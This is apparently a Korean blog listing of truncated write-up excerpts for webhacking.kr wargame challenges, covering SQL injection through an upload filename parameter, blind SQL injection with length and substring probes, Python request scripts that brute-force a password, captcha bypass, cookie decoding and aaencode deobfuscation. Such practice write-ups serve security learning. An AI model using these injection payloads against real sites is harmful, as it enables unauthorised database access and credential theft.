write-up(web)/webhacking.kr

[Webhacking.kr] old-29

문제 flag는 다른 테이블에 있다. 문제풀이 테스트로 파일 하나를 올리면 아래와 같이 화면에 나타나며, 파일에 접근은 불가하다. burp suite로 잡아보면 filename 파라미터가 전송되는 것을 알 수 있다. ip와 time은 자동으로 설정된다. filename 파라미터를 조작하여 sql injection을 시도할 수 있다. 아래처럼 파라미터 조작해서 전송하면 변조된 값들이 화면에 보인다. time이 변조되어 전송되었다. filename="filename,1,'115.92.150.222')#" 화면에 나타나는 것과 다르게 ip주소는 세번째에 입력되어야 한다. 그리고 IP주소가 정확해야 전송된다. sql 쿼리에 맞지 않거나 IP주소가 틀리거나 삽입되는 컬럼 순서가 다르면 upload error! 가..

[Webhacking.kr] old-22

문제 로그인과 회원가입 기능이 존재한다. 문제풀이 guest/guest로 로그인하면 해시값을 확인할 수 있다. md5 복호화 결과, guestapple임을 알 수 있고, 비밀번호+apple이 해시값으로 만들어지는 것을 알 수 있다. import requests url = 'https://webhacking.kr/challenge/bonus-2/index.php' cookie = {'PHPSESSID':'bmvg2k4nh4momseflhkh18371h'} pw_len = 0 for i in range(100): params = {"uuid":"admin\' and length(pw)={}#".format(i),"pw":"123"} res = requests.post(url, cookies = cookie,..

[Webhacking.kr] old-21

문제 문제풀이 id:guest/pw:guest : login success id:admin/pw:123 : login fail id:admin’#/pw:123 : wrong password wrong password 반환할 때를 이용해 blind injection 수행이 가능하다. 비밀번호 길이 id : admin’ and length(pw)>30# / pw : 123 위와 같이 유추하여 id : admin’ and length(pw)=36# / pw : 12 -> wrong password 비밀번호 길이가 36임을 찾을 수 있다. 비밀번호 문자열 id : admin’ and ascii(substr(pw,1,1)=116# import requests url = 'https://webhacking.kr/c..

[Webhacking.kr] old-20

문제 문제풀이 2초마다 captcha 부분이 갱신된다. 바뀌는 captcha 부분을 빠르게 입력해서 제출하면 문제가 해결된다. submit 부분의 코드를 보면 아래와 같다. function ck(){ if(lv5frm.id.value=="") { lv5frm.id.focus(); return; } if(lv5frm.cmt.value=="") { lv5frm.cmt.focus(); return; } if(lv5frm.captcha.value=="") { lv5frm.captcha.focus(); return; } if(lv5frm.captcha.value!=lv5frm.captcha_.value) { lv5frm.captcha.focus(); return; } lv5frm.submit(); } 새로고침 후..

[Webhacking.kr] old-19

문제풀이 admin을 입력하고 submit을 누르면 오른쪽과 같이 화면이 출력된다. guest를 입력하고 제출하면 아래와 같이 로그인이 되고, 쿠키가 설정된다. YjJmNWZmNDc0MzY2NzFiNmU1MzNkOGRjMzYxNDg0NWQ3Yjc3NGVmZmU0YTM0OWM2ZGQ4MmFkNGY0ZjIxZDM0Y2UxNjcxNzk3YzUyZTE1Zjc2MzM4MGI0NWU4NDFlYzMyMDNjN2MwYWNlMzk1ZDgwMTgyZGIwN2FlMmMzMGYwMzRlMzU4ZWZhNDg5ZjU4MDYyZjEwZGQ3MzE2YjY1NjQ5ZQ%3D%3D 문자열의 맨 뒤에 %3D%3D(==)가 설정된 것을 보아 base64로 인코딩 되어 있는 것 같다. base64 디코딩 하면 아래와 같은 문자열이 나온다. ..

[Webhacking.kr] old-12

문제 문제풀이 스크립트 문에 이모티콘 문자열이 나오는데, 전체가 나오지 않고 생략되어서 나온다. burp suite를 이용해 전체 문자열을 확인할 수 있다. 위 문자열은 일본에서 쓰이는 이모티콘을 이용해 코드를 난독화한 것이다. 따라서 난독화 해제를 해주어야 한다. Japanese style emoticons aaencode aadecode clear jamtg.github.io 난독화 해제를 통해 아래와 같은 코드를 얻을 수 있다. var enco=''; var enco2=126; var enco3=33; var ck=document.URL.substr(document.URL.indexOf('=')); for(i=1;i